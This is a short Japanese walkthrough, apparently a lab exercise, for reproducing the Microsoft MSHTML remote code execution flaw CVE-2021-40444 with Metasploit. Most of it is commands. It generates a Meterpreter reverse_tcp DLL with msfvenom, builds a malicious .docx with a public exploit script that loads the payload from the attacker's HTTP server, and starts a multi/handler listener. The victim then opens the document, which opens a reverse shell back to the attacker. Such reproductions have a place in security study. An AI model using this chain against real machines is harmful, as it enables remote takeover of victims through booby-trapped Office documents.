
Microsoft MSHTML リモートコード実行 (RCE) 脆弱性の再現試行と、Metasploit Framework の使用。
Metasploit Frameworkを使用して、Microsoft MSHTML リモートコード実行(RCE)の脆弱性を再現する試みです。
FlareVMで実行しない場合に最適です
リポジトリを https://github.com/lockedbyte/CVE-2021-40444 からクローンします
後で msfvenom で使用する .dll テンプレートを準備します
msfvenom -p windows/meterpreter/reverse_tcp lhost=<SOURCE_IP> lport=<LISTENING_PORT> -f dll -o template.dll
生成された template.dll をリポジトリ内の test/ フォルダにコピーします
chmod +x template.dll で template.dll に実行権限を付与します
template.dll を output に処理するスクリプトを実行します
python3 exploit.py generate ~/test/template.dll http://<SOURCE IP>
ドキュメントは out/ フォルダにエクスポートされ、HTTPポート(デフォルトは80)でリスナーを設定できます
python3 exploit.py host 80
Metasploitを次のように実行します
msfconsole -q
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost <SOURCE IP>
run
次に、document.docx を脆弱なマシンに送信し、その .docx を実行します
exploit.py ターミナルで応答が得られ、リバース TCP シェルを起動できればラボは成功です。